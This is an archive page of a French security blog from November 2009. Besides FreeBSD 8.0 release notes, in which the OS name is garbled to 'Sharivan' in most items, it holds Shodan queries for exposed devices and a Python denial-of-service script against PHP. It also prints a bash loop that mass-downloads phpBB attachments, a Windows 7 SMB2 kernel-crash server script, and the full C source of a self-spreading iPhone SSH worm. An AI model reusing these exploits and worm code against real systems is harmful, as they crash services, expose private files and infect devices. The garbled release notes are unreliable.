2009-11 Archives

30-11-2009 21:59:50

[FreeBSD] FreeBSD 8.0 RELEASE Out !

Ca fait longtemps que je n'avais pas écrit sur le meilleurs OS du monde mais la je suis un peu obligé. Mesdames et Messieurs je vous annonce la sortie de la FreeBSD 8.0 RELEASE ! Oui oui elle est là :)

Les lutins de GCU nous ont fait une belle traduction des nouveautés donc je vais vous les remettre ici :

* Les jails V2 :
  Les jails (système de virtualisation en espace utilisateurs) se voient grandement améliorés. Sur le 
plan du réseau les jails supportent maintenant les adresses IPs multiples, l’IPv6 et le protocole SCTP(4). 
Désormais, il est possible d’assigner directement une jail à un CPU donné. Enfin il est aussi 
possible de faire tourner des jails 32bits sur un hôte 64bits. Le couplage avec ZFS permet une gestion 
particulièrement puissante des jails.Les jails v2 ont été portés sur la branche 7 de Sharivan 
ils sont donc disponibles sous Sharivan 7.2 et supérieur.
* Support de Xen en domU :
  Bien qu’expérimental Sharivan peut maintenant tourner en tant que domU sur la solution de virtualisation xen, 
pour cela il faudra disposer d’une version récente de xen (>= 3.4) en dom0.
* Support de VirtualBox :
  Les développeurs de Sharivan ont portés VirtualBox OSE, qui a fait son entrée dans les ports et est 
donc maintenant disponible sous Sharivan, avec le support des extensions CPU : amd-V et intel VT ainsi que le support 
complet du réseau.

* ZFS(8) :
  zfs, toujours en version 13 a été largement revue par rapport au code disponible en version 7.2-RELEASE, il 
est désormais considéré comme “Production Ready”, il est aussi possible (via un mode 
d’installation non standard) de faire fonctionner un Sharivan en full ZFS.
* gvinum(8) 2 :
  gvinum l’outil de gestion de volumes de freebsd passe en version 2 grâce au Google Summer of Code 2007. Il a 
été remis au niveau des standard actuel tout en restant compatible avec les versions 
précédentes.
* GEOM_PART :
  Le nouvel outil de partitionnement de Sharivan se nomme désormais GEOM_PART (gpart(8)) cet outil support les 
partitions de type MBR, BSD et GPT, il combine des fonctionnalités de bsdlabel et fdisk mais est beaucoup plus 
simple et fonctionnel.
* Boot sur du GPT :
  Il est désormais possible de démarrer Sharivan sur des partitions de type GPT sur les machines dont le bios 
supporte ce format.
* 26 partitions BSD :
  Jusque là Sharivan ne reconnaissait que 8 Labels maximum par slice, cette limitation est maintenant de 26 
partitions.
* AHCI(4) :
  Un nouveau pilote AHCI fait partie des meubles, ce pilote permet d’accéder au matériel au travers de 
l’interface CAM. Il est désactivé par défaut (disponible quand même sous la forme de module).
* Nouveau NFS :
  Le support du NFS a été revue afin de pouvoir bénéficier de NFSv4, de manière 
complète, un très gros travail a été accompli pour en arriver là entrainant le 
remplacement du serveur et client NFSv2 et NFSv3 dans la foulée. (nouveau nfs lock)

* Wifi mesh : 802.11s D3.03 :
  Ajout du support de la topologie des réseaux maillés wifi.
* Virtualisation de la couche réseau :
  La couche de virtualisation du réseau permet au noyau Sharivan de conserver de multiples instances 
indépendantes d’états réseaux. Les avantages apportés par cette virtualisation sont de 
pouvoir offrir aux jails, des interfaces réseaux virtuelles indépendantes et ainsi permettre de faire des 
configurations réseaux jusque là impossibles au sein d’une jail, IPSEC, firewall, etc.
* Mode 0 copy pour bpf(4) :
  Berkeley Packet Filter est une fonctionnalité permettant de capturer les paquets réseaux suivant des 
règles de filtrage utilisateurs, de les renvoyer vers des applications, mais aussi d’en insérer 
directement. Dans cette nouvelle version, le nombre d’opération de copie mémoire entre le noyau et la 
partie applicative a été réduite, augmentant ainsi les performances dans de nombreux cas.

* MPSAFE TTY :
  La nouvelle implémentation des TTY est indépendante des verrous géants améliorant ainsi les 
performances.
* Meilleure gestion de la suppression à chaud des périphériques de stockages montés :
  Jusqu’a présent la suppression à chaud d’un périphérique de stockage monté 
provoquait un kernel panic, ce problème est désormais corrigé.
* Augmentation de la limite de mémoire noyau en x86_64 :
  Certaines technologies récentes ont un important besoin de mémoire en espace noyau (ZFS en particulier). 
l’allocation maximum de mémoire possible pour le noyau est donc passé de 2Go à 512Go.
* Support des threads noyaux :
  Le noyau supporte désormais les processus légers. Le passage à l’utilisation des processus 
légers apporte une réduction de la consommation des ressources bas niveau du système.
* ULE 3.0 :
  Le nouveau scheduler sched_ule(4) de Sharivan en développement depuis les débuts de la version 5 s’est 
enfin vu stabilisé dans sa version 2.0 au sein de la branche 7-STABLE pour être activé par défaut 
dans Sharivan 7.1-RELEASE. La version 8.0 de Sharivan dispose d’une version encore améliorée de ce 
scheduler (version 3.0).
* cpuset(2) :
  C’est un nouvelle fonctionnalité similaire à “processors sets” sur solaris, permettant 
d’assigner directement des processus à des “sets” de CPU.

* ar(1) et ranlib(1) :
  Ces deux utilitaires basés sur libarchive(3) et sous licences BSD viennent remplacer ceux de binutils. Il 
s’agit la première étape du projet BSDBintools visant à remplacer les utilitaires issus de GNU 
binutils, projet lui même inclus dans le projet Elf tool chain projet visant à créer une 
implémentation BSD des utilitaires liés au format ELF en utilisant libelf et libarchive.
* cpio(1) :
  GNU cpio est remplacé par une version sous licence BSD basée sur libarchive.
* cp(1) :
  Ajout de l’option -a qui est équivalente aux options POSIX -RrP, ce qui améliore la 
compatibilité avec la version GNU de cp.
* find(1) :
  la version de find a été mise à jour afin d’améliorer la compatibilité avec GNU 
find.
* procstat(1) :
  Procstat est un nouvel utilitaire permettant d’accéder en ligne de commande aux informations sur les processus 
tournant sur le système.
* fetch(3) et fetch(1) :
  la bibliothèque libfetch supporte désormais le protocole HTTP version 1.1, tandis qu’une nouvelle 
option -i pour l’utilitaire fetch dispose maintenant d’un option -i filename permettant de ne 
télécharger un fichier que si son contenu est plus récent que celui pointé par 
“filename”.
* textdump(4) :
  En cas de crash kernel Textdump permet de capturer les informations de debug du noyau sous une forme humainement 
compréhensible facilitant ainsi les remontées de problèmes par les utilisateurs, les textdumps 
étant aussi plus légers que les core.
* tar(1) :
  L’option -Z permet de compresser/décompresser les archives au format compress(1), l’option 
–numeric-owner permet d’ignorer les noms des utilisateurs et des groupes, l’option -s permet de modifier le 
noms des fichiers selon une expression régulière.
* cpuset(1) :
  Ce nouvel utilitaire en espace utilisateurs permet de gérer les assignations de sets processeurs.
* dtrace(1) :
  dtrace(1), le système de traces en temps réel créé par Sun a été ajouté 
dans Sharivan dans Sharivan 8.0 et répercuté sur les version 7-STABLE depuis la 7.1-RELEASE, il permet de 
détecter des problèmes et/ou tracer le noyau et les applications en environnement utilisateur et bien plus 
encore.
* Nouvelle couche USB :
  La couche USB de Sharivan a été complètement revue pour cette nouvelle version, elle est maintenant 
beaucoup plus complète et moderne. Afin d’être de permettant un fonctionnement immédiat des logiciels 
utilisateurs nécessitant le support de l’USB, des bibliothèques “libusb” BSD compatibles avec les 
version 0.1 et 1.0 de la libusb ont été développées.
* Import de makefs(8) :
  makefs a été importé de NetBSD, il s’agit d’un utilitaire permettant de créer une 
système de fichier a partir d’une arborescence sans avoir besoin de disposer des droits utilisateurs 
particuliers.
* ProPolice SSP :
  Cette extension de GCC ayant pour but de détecter et d’empêcher les attaques par débordement de tampon 
est désormais activée par défaut.
En résumé, tous à vos upgrade !

FreeBSD > * <3 !

Posté par cloud | permalien | dans : FreeBSD

25-11-2009 20:30:37

[Site] Shodan, un moteur de recherche de serveurs vulnerables ?

Dan le genre de site qui peut etre très pratique et efficace, je vous présente http://shodan.surtri.com.

Shodan est un moteur de recherche de serveurs comportant des bannières ou des services spécifiques. Ainsi il est possible de rechercher des serveurs utilisant un ftp ou encore une version de PHP particulière en triant par port, mot clé ou pays. Certes cela ne semble pas bien méchant et pourtant il est possible d'utiliser ce moteur de manière bien plus dangereuse.

Commencons par rechercher des serveurs telnet nous autorisant l'accès :
http://shodan.surtri.com/?q=port%3A23+built+in
On commence à comprendre qu'il est possible de faire des recherches à but d'attaques.

Recherchons maintenant des serveurs FTP anonymes :
http://shodan.surtri.com/?q=ftp+%22Anonymous+user+logged+in%22
Il est possible de rechercher la page d'administration de routeur dd-wrt :
http://shodan.surtri.com/?q=port%3A80+200+OK+dd-wrt
Envi de trouver des pages d'administration ?
http://shodan.surtri.com/?q=port%3A80+admin
Des résultats surprenants aussi en recherchant des interfaces web de routeurs ou switch CISCO en France :
http://shodan.surtri.com/?q=cisco+%22HTTP%2F1.0+200+OK%22+country%3Afr
On tombe directement sur des serveurs non protégés de switch ... Cela montre l'intégration et la configuration de certains administrateurs ...

Ce moteur est une vraie mine d'information pour tout pirate. D'ailleurs j'ai du mal à trouver un but autre que rechercher des vulnérabilités et des versions de serveurs deprecated. Pour l'instant les infos sont limitées mais si un scan plus poussif sur plus de ports et plus d'ip est fait, cela peut faire très mal! Y a juste à espérer de ne pas retrouver son serveur dans cette liste :)

Posté par cloud | permalien | dans : Security, Fun / Divers

22-11-2009 13:08:00

[Secu] PoC du PHP "multipart/form-data" DoS

Une mise à jour de PHP (5.3.1) a été publiée corrigeant quelques failles de sécurité dont la PHP "multipart/form-data" Denial of service publié sur Full Disclosure. Cette vulnérabilité est due au fait qu'en envoyant une requete POST avec de nombreux fichiers à envoyer, le système les crée en local et finit par chargé le serveur qui peut jusqu'à un crash de l'OS car monte trop haut en charge.

Voulant tester cela j'ai codé un script en Python servant de PoC pour cette vulnérabilité. Ce code n'est la qu'à titre de PoC et je ne suis pas responsable de son utilisation. Voici le code :
#!/usr/bin/env python2.6
#
#  Program : PHP Multipart DoS
#  Description : PoC which DoS webserver running PHP < 5.3.1
#  Author : cloud 
#  Contact : <cloud@madpowah.org>
#  Website : http://blog.madpowah.org
#  Date : 21/11/2009
#  ./phpmultidos.py <host> <nb of request>
#  
#  I'm not responsible of the use of this script
#################################################

import httplib
import mimetypes
import sys
import time
from multiprocessing import Process


def post_multipart(host, files):
	
	content_type, body = encode_multipart_formdata(files)
	h = httplib.HTTP(host)
	h.putrequest('POST', '/')
	h.putheader('content-type', content_type)
	h.putheader('content-length', str(len(body)))
	h.endheaders()
	h.send(body)

	return 1

def encode_multipart_formdata(files):
    
    BOUNDARY = '----------BOUNDARY_$'
    CRLF = '\r\n'
    L = []
    for key in files:
        L.append('--' + BOUNDARY)
        L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, key))
        L.append('Content-Type: text')
        L.append('')
        L.append('ok')
    L.append('--' + BOUNDARY + '--')
    L.append('')
    body = CRLF.join(L)
    content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
    return content_type, body

def generate_files():
	files = []
	for i in range(65000):
		files.append(str(i))
		
	return files

def thread_action(hostname, files):
	sys.stdout.write('.')
	sys.stdout.flush()
	post_multipart(hostname, files)
	
try:
	print "PHP Multipart DoS by cloud : http://blog.madpowah.org"
	hostname = sys.argv[1]
	nb = int(sys.argv[2])
	try:
		conn = httplib.HTTPConnection(hostname)
		conn.close
	except:
		print ">> This host seems to be down ..."
		sys.exit(1)
		
	print ">> Launching the attack ..."

except:
	print "Utilisation: ./phpmultidos.py <host> <nb of request>"
	print "Exemple: ./phpmultidos.py www.example.com 80"
	sys.exit(1)


	
files = generate_files()


for num in range(nb):
        Process(target=thread_action, args=(hostname, files)).start()
        time.sleep(0.5)
print ""
print ">> Attack sent ... now Wait !"

En le testant sur un système FreeBSD et Linux, le système monte en charge provoquant jusqu'à un DoS des applications Web PHP. Ceci est surtout visible si un forum est hébérgé. Je n'ai pas réussi à provoquer un crash complet du serveur mais je n'ai envoyé au max que peu de thread (80) car ma pauvre machine explose si je tente plus. Mais déjà avec juste 80 requètes, il est possible de créer un bon DoS qui dure assez longtemps (1h). Le site se retrouve inaccessible ou très lent.
Par ailleurs il est arrivé que le serveur ne supprime pas tous les fichiers temporaires et il est imaginable de saturer le disque dur du système.

Solution :
Pour se protéger de cette vulnérabilité, passez en version PHP 5.3.1 ou installez le Suhosin PHP extension ajoutant l'option suhosin.upload.max_uploads configuré par défaut à 25, ce qui empèche d'envoyer 65000 fichiers par requète comme mon script le fait.

Posté par cloud | permalien | dans : Security, Coding

22-11-2009 12:45:08

[Secu] 0day sur IE6 et IE7 pour Windows XP

Une vulnérabilité 0day a été annoncée par Vupen impactant IE6 et IE7 testée sur Windows XP SP3 entièrement patché. Cette vulnérabilité permettrait de crasher le navigateur ou de faire exécuter du code arbitraire en exploitant certains styles (CSS) via la méthode getElementsByTagName() qui permettrait d'exploiter une vulnérabilité dans Microsoft HTML Viewer (mshtml.dll) .

Solution proposée : Désactiver les Active Script.

Le lien vers l'avis de sécurité ici

Le lien vers le code du 0day.

Posté par cloud | permalien | dans : Security

17-11-2009 00:45:29

[Tool] Bypass automatique Viadeo (Qui a visite votre profil?)

Je vous ai présenté comment voir qui a regarde votre profil Viadeo sans payer ? il n'y a pas longtemps et bien Jarod_ a eu la très bonne idée de développer un petit script pour Greasemonkey (plugin Firefox) afin que mon astuce s'applique automatiquement lors de votre visite sur viadeo. Installer Greasemonkey puis le script et aller sur viadeo et le lien vers les images vous conduira directement sur le profil :D

Pour installer le script, cliquez ici.

Merci Jarod_ !

Posté par cloud | permalien | dans : Security, Coding

15-11-2009 14:21:12

[Secu] PhpBB - Confidentialite et fichiers joints = FAIL

PhpBB est un forum très utilisé et assez complet afin de communiquer. Celui ci possède une gestion des habilitations des utilisateurs, les découpants en modérateurs / administrateurs / users ou en groupe. Ensuite il est possible de ne laisser l'accès qu'à certains types d'utilisateurs ou aux utilisateurs de certains groupes aux sujets.

Cependant en fouillant un peu, j'ai constaté que tout n'était pas vraiment restreint et qu'il était possible d'obtenir des informations qui auraient à mon sens du etre non accessibles.

En effet il est possible de mettre en pièce jointe des fichiers aux messages. Ces fichiers sont ensuite accessibles via l'url :
http://www.monsite.com/forum/download/file.php?id=XXXX
J'ai testé en ajoutant ce fichier dans un message réservé aux administrateurs du forum. Ensuite en me deloggant j'ai retapé la meme adresse ... et la ... on peut toujours télécharger le fichier ! Aucun controle d'habilitation n'est fait.

Ainsi il est surement possible en récupérant toutes les pièces jointes de trouver des informations intéressantes qui n'auraient pas du etre vu par tout le monde :)

Voici un petit script permettant de récupérer 2000 pièces jointes rapidement :
#!/usr/local/bin/bash

i=0

while [ $i -le 2000 ]
do
        wget -c http://www.monsite.com/forum/download/file.php?id=$i
        ((i += 1))
done
Have fun !

Posté par cloud | permalien | dans : FreeBSD, Security

11-11-2009 19:36:39

[Secu] Remote Kernel Crash sur Windows7 et Server 2008R2

Laurent Gaffie a encore frappé sur le SMB. Un nouveau Remote Kernel Crash sur Windows 7 et Windows Server 2008 2 a été publié sur son blog. Il avait annoncé sur son Twitter développer un vrai Fuzzer pour SMB et voila chose faite de manière efficace contrairement à Microsoft apparement.

Du coup une belle remote et une note signalant que Microsoft souhaitait que cette vulnérabilité reste cachée ...
X. REVISION HISTORY
-------------------------
November 8th, 2009: MSRC contacted
November 8th, 2009: MSRC acknoledge the vuln
November 11th, 2009: MRSC try to convince me that multi-vendor-ipv6 bug shouldn't appears on a security bulletin.
November 11th, 2009: Win 7 remote kernel smash released
Le code source :
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure()
#caused by an infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast from the target: \\this_script_ip_addr\BLAH , instantlycrash
#Author: Laurent Gaffié
#

import SocketServer

packet = "\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"


class SMB2(SocketServer.BaseRequestHandler):

    def handle(self):

        print "Who:", self.client_address
        input = self.request.recv(1024)
        self.request.send(packet)
        self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()
Et la cerise sur le gateau, c'est qu'apparement d'autres remote exploits sont déjà prets :
XII.Personal Notes
-------------------------
More Remote Kernel FD @MS to come. 
Aucun correctif pour l'instant donc désactivez SMB et bloquer le port 445 avec votre firewall ou changez d'OS.

Posté par cloud | permalien | dans : Security

08-11-2009 18:13:21

[Secu] Un vers sur Iphone !

Allez encore un petit article sur l'Iphone suite à la publication du code source d'un vers pour Iphone dont on a entendu parlé (voir article sur la Rancon). Ce vers scan une liste de réseaux prédéfinis, tente de se connecter via SSH et s'il y arrive modifie l'écran de veille de l'iphone contaminé et s'installe pour infecter d'autres iphones :)

Le code est disponible ici
//
// iPhone default pass worm  by ikex
//
// This code is CLOSED source.
// And very hacky, i just needed it to work.
//
// Thanks to alan3423432432 haha for helping me work out my flaws in C
//

#include "main.h"

int fdlock;

// randHost():  Returns a random IP Address XXX.XXX.XXX.XXX
char *randHost(void)
{
    int x,y,z;
    char *retme;
    srand (time (0));
    x=random() % 255;
    y=random() % 255;
    z=random() % 255;
    asprintf(&retme, "%i.%i.%i.", x,y,z);
    return retme;
}

// get_lock():  Sets/Gets the status of the file lock
//              located in /var/lock/bbot.lock
int get_lock(void)
{
    struct flock fl;
    fl.l_type = F_WRLCK;
    fl.l_whence = SEEK_SET;
    fl.l_start = 0;
    fl.l_len = 1;
    if((fdlock = open("/var/lock/bbot.lock", O_WRONLY|O_CREAT, 0666)) == -1)
      return 0;
    if(fcntl(fdlock, F_SETLK, &fl) == -1)
      return 0;
    return 1;
}

// getAddrRange():  Gets the phones 3G range + 2
//                  eg, 100.100.100.0-100.100.102.255
char *getAddrRange()
{
   struct ifaddrs *ifaddr, *ifa;
   int family, s;
   char host[NI_MAXHOST];
   if (getifaddrs(&ifaddr) == -1) {
       perror("getifaddrs");
       exit(EXIT_FAILURE);
   }
   for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
       family = ifa->ifa_addr->sa_family;
        if (family == AF_INET)
        {
           if (family == AF_INET || family == AF_INET6) {
               s = getnameinfo(ifa->ifa_addr,
                       (family == AF_INET) ? sizeof(struct sockaddr_in) :
                                             sizeof(struct sockaddr_in6),
                       host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
               if (s != 0) {
                   printf("getnameinfo() failed: %s\n", gai_strerror(s));
                   return "0.0.0.0-0.0.0.0";
               }

               if (strcmp(ifa->ifa_name, "pdp_ip0") == 0)
               {
                   syslog(LOG_DEBUG, ifa->ifa_name);
                   syslog(LOG_DEBUG, host);
                   char *wee[20];
                   tokenise(host, wee, ".");
                   char *range;
                   int octc = atoi(wee[2]);
                   asprintf(&range, "%s.%s.%i.0-%s.%s.%i.255", wee[0], wee[1], octc, wee[0], wee[1], octc+2);
                   return range;
                }
           }
        }
   }
   freeifaddrs(ifaddr);
   return "0.0.0.0-0.0.0.0";
}
// From alan2349024  Sorry i suck at remembering numbers
// Thanks dude!
int tokenise (char input[], char *token[], char* spl) // Added sep param
{
    char *tokens;
    int count = 0;
   
    tokens = strtok(input, spl);//Change TOKEN_SEPERATORS To What You Want To Seperate Off
   
    if(tokens[strlen(tokens) - 1] == '\n')
        tokens[strlen(tokens) - 1] = '\0';
           
    token[count] = tokens;
       
    while(tokens != NULL)
    {
        count++;
        if( count > MAX_NUM )//change MAX_NUM_TOKENS To A Number
            return (-1);
       
        tokens = strtok(NULL, spl);
       
        if(tokens != NULL)
        {
            if(tokens[strlen(tokens) - 1] == '\n')
                tokens[strlen(tokens) - 1] = '\0';
        }  
        token[count] = tokens;
    }
    return count;
}

// Entry point.
int main(int argc, char *argv[])
{
   
    //pid_t   pid, sid;
    //char *subnet = randHost();
   
    // syslog(LOG_DEBUG, "I should go, i feel like im interupting something ;]");
    /* // FORK CODE REMOVED IT FUCKS WITH LaunchDaemon.
    pid = fork();
    if (pid < 0)
            exit(EXIT_FAILURE);
      else if (pid > 0)
            exit(EXIT_SUCCESS);
           
    umask(0);

    sid = setsid();
    */
    if(get_lock() == 0) {
        syslog(LOG_DEBUG, "I know when im not wanted *sniff*");
        return 1; } // Already running.
    sleep(60); // Lets wait for the network to come up 2 MINS
    syslog(LOG_DEBUG, "IIIIIII Just want to tell you how im feeling");
    //char ipRange[256] = "120.16.0.0-120.23.255.255";
    char *locRanges = getAddrRange();
    char *lanRanges = "192.168.0.0-192.168.255.255"; // #172.16.0.0-172.31.255.255 Ehh who uses it
    char *vodRanges1 = "202.81.64.0-202.81.79.255";
    char *vodRanges2 = "23.98.128.0-123.98.143.255";
    char *vodRanges3 = "120.16.0.0-120.23.255.255";
    char *optRanges1 = "114.72.0.0-114.75.255.255";
    char *optRanges2 = "203.2.75.0-203.2.75.255";
    char *optRanges3 = "210.49.0.0-210.49.255.255";
    char *optRanges4 = "203.17.140.0-203.17.140.255";
    char *optRanges5 = "203.17.138.0-203.17.138.255";
    char *optRanges6 = "211.28.0.0-211.31.255.255";
    char *telRanges = "58.160.0.0-58.175.255.25";
    //char *attRanges = "32.0.0.0-32.255.255.255"; // TOO BIG
   
    syslog(LOG_DEBUG, "awoadqdoqjdqjwiodjqoi aaah!");
    ChangeOnBoot();
    KillSSHD();
    // Local first
    while (1)
    {
        syslog(LOG_DEBUG, "Checking out the local scene yo");
        scanner(locRanges);
        syslog(LOG_DEBUG, "Random baby");
        int i;
        for (i=0; i <= 2; i++)
        {
            char *ipaddr = randHost();
            char *rrange;
            asprintf(&rrange, "%s.0-%s.255", ipaddr, ipaddr);
            scanner(rrange);
        }
        // Lan
        syslog(LOG_DEBUG, "Lannnnn");
        scanner(lanRanges);
        syslog(LOG_DEBUG, "VODAPHONE");
        scanner(vodRanges1);
        scanner(vodRanges2);
        scanner(vodRanges3);
        syslog(LOG_DEBUG, "OPTUSSSS");
        scanner(optRanges1);
        scanner(optRanges2);
        scanner(optRanges3);
        scanner(optRanges4);
        scanner(optRanges5);
        scanner(optRanges6);
        syslog(LOG_DEBUG, "Telstra");
        scanner(telRanges);
    }
}
   
void scanner(char *ipRange)
{
    char *wee[10];
    char *begin[10];
    char *end[10];
    tokenise(ipRange, wee, "-");
    int octaB, octaE, octbB, octbE, octcB, octcE;
    tokenise(wee[0], begin, ".");
    tokenise(wee[1], end, ".");
    octaB = atoi(begin[0]); // YYY.XXX.XXX.XXX
    octaE = atoi(end[0]);
    octbB = atoi(begin[1]);
    octbE = atoi(end[1]);
    octcB = atoi(begin[2]);
    octcE = atoi(end[2]);
    int loop1;
    for (loop1=octaB; loop1<=octaE; loop1++)
    {
        int loop2;
        for (loop2=octbB; loop2<=octbE; loop2++)
        {
            int loop3;
            for (loop3=octcB; loop3<=octcE; loop3++)
            {
                int loop4;
                for (loop4=0; loop4<=255; loop4++)
                {
                    char* host;
                    asprintf(&host, "%i.%i.%i.%i", loop1, loop2,loop3, loop4);
                    //printf("\n\rScanning: %s", host);
                    if (scanHost(host) == 0 && checkHost(host) == 0) // This will run scanHost THEN checkHost right?
                    {
                        syslog(LOG_DEBUG, "Oh a sheep!");
                        //printf("\n\r - %s is vulnerable", host);
                        infectHost(host);
                    }
                }
            }
        }
    }
}
   
// http://img41.imageshack.us/img41/730/asto.jpg
int scanHost(char* host)
{
    int res, valopt, soc;
    struct sockaddr_in addr;
    long arg;
    fd_set myset;
    struct timeval tv;
    socklen_t lon;
    soc = socket(AF_INET, SOCK_STREAM, 0);
    arg = fcntl(soc, F_GETFL, NULL);
    arg |= O_NONBLOCK;
    fcntl(soc, F_SETFL, arg);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(22);
    addr.sin_addr.s_addr = inet_addr(host);
    res = connect(soc, (struct sockaddr *)&addr, sizeof(addr));
    if (res < 0) {
      if (errno == EINPROGRESS) {
        tv.tv_sec = 10;
        tv.tv_usec = 0;
        FD_ZERO(&myset);
        FD_SET(soc, &myset);
        if (select(soc+1, NULL, &myset, NULL, &tv) > 0) {
            lon = sizeof(int);
            getsockopt(soc, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
            if (valopt) {
              return -1;
            }
        }
        else {
            return -1; }
      }
      else { return -1; }
    }
    close(soc);
    return 0;
    // Set to blocking mode again...
    //arg = fcntl(soc, F_GETFL, NULL);
    //arg &= (~O_NONBLOCK);
    //fcntl(soc, F_SETFL, arg);
}
   
int checkHost(char *host)
{
    syslog(LOG_DEBUG, host);
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&execLine, "sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'echo 99'", VULN_PASS, host);
    if (!(in = popen(execLine, "r"))) {
        printf("Error is sshpass there?");
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, "99"))
            return 0;
    }
    pclose(in);
    return -1; // NOT VULN
}


int runCommand(char* command, char *host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    // Really am to lazy to check this but im piling comands as so
    // command1; command2; command3; echo 99
    // my belief is that if for instance command2 dies we wont hit the echo 99
    // which will make us return -1
    asprintf(&execLine, "sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s ; echo 99'",VULN_PASS, host, command);
    if (!(in = popen(execLine, "r"))) {
        printf("Error is sshpass there?");
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, "99"))
            return 0;
    }
    pclose(in);
    return -1;
}

int prunCommand(char* command, char *host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&execLine, "sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s'",VULN_PASS, host, command);
    if (!(in = popen(execLine, "r"))) {
        printf("Error is sshpass there?");
        return -1;
    }
    while (fgets(buff, sizeof(buff), in) != NULL ) {
        printf("%s",buff);
    }
    pclose(in);
    return -1;
}

int CopyFile(char* src, char* dst, char* host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&execLine, "sshpass -p %s scp -o StrictHostKeyChecking=no ./%s root@%s:%s", VULN_PASS, src, host, dst);
    if (!(in = popen(execLine, "r"))) {
        printf("Error is sshpass there?");
        return -1;
    }
    while (fgets(buff, sizeof(buff), in) != NULL ) {}
    asprintf(&execLine, "sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'which %s'", VULN_PASS, host, dst);
    if (!(in = popen(execLine, "r"))) {
        printf("Error is sshpass there?");
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, dst))
            return 0;
    }
    pclose(in);
    return -1;
}

int ChangeOnBoot()
{
    FILE *in;
    extern FILE *popen();
    if (!(in = popen("cp /var/log/youcanbeclosertogod.jpg /var/mobile/Library/LockBackground.jpg", "r"))) {
        return -1;
    }
    return 0;
}

int KillSSHD()
{
    FILE *in;
    extern FILE *popen();
    if (!(in = popen("rm -f /usr/sbin/sshd; killall sshd", "r"))) {
        return -1;
    }
    return 0;
}

int infectHost(char *host)
{
    // Copy myself to them
    // run as startup
    if (runCommand("uname -n", host) == 0)
    {
        //printf("\n\r - Infecting: ");
        prunCommand("uname -n", host);
        prunCommand("rm /bin/sshpass", host);
        prunCommand("rm /bin/poc-bbot", host);
        //prunCommand("killall poc-bbot", host);
        if (CopyFile("/bin/poc-bbot", "/bin/poc-bbot", host) == 0 && CopyFile("/bin/sshpass", "/bin/sshpass", host) == 0)
        {
            //printf(" - Replicated successfully");
            prunCommand("rm /var/mobile/Library/LockBackground.jpg; echo \"\r\n - Removed old background\"", host);
            // Revision 3 - idea from nevermore!
            // This way dipshits wont delete my stuff
            CopyFile("/var/log/youcanbeclosertogod.jpg", "/var/mobile/Library/LockBackground.jpg", host);
            CopyFile("/var/log/youcanbeclosertogod.jpg", "/var/log/youcanbeclosertogod.jpg", host);
            //CopyFile("/var/mobile/Library/LockBackground.jpg", "/var/mobile/Library/LockBackground.jpg", host); // We aren't 
installing an app.
           
            //printf(" - Background set (ast.jpg).");
            CopyFile("/System/Library/LaunchDaemons/com.ikey.bbot.plist", "/System/Library/LaunchDaemons/com.ikey.bbot.plist", 
host);
            prunCommand("launchctl load /System/Library/LaunchDaemons/com.ikey.bbot.plist", host);
            // I didn't want to have to do this.
            prunCommand("rm -f /Library/LaunchDaemons/com.openssh.sshd.plist; launchctl unload 
/Library/LaunchDaemons/com.openssh.sshd.plist", host);
            prunCommand("killall sshd", host);
            //printf("\n\r - Program set to startup on boot");
            //prunCommand("reboot", host)
            //printf("\n\r - Rebooting phone!");
            //CopyFile("ngtgyu.m4r", "/var/mobile/ngtgyu.m4r", host);
            //printf("\n\r - Ringtone set (ngtgyu.m4r).");
        }
    }
    return 0;
}


// END


Posté par cloud | permalien | dans : Security, Coding

05-11-2009 00:47:00

[Secu] La mort de str0ke etait un Hoax !

Aujourd'hui une terrible nouvelle a frappé l'univers de la sécurité avec l'annonce de la mort de str0ke sur ce site.

Sauf que cette annonce est en réalité un Hoax ! On a tout d'abord vu une annonce sur le twitter de str0ke signalant :
I'm not dead yet, just being trolled.
De la sont sorties des rumeurs comme quoi son compte twitter avait été owned. Cependant encore ce soir une nouvelle annonce paraissant plus sérieuse nous annonce la bonne santé de str0ke
For those who don’t know, Milw0rm has been dormant in the past few weeks, for reasons which remain with str0ke (he is alive, healthy and 
well btw).
Donc str0ke semble aller bien ! :)

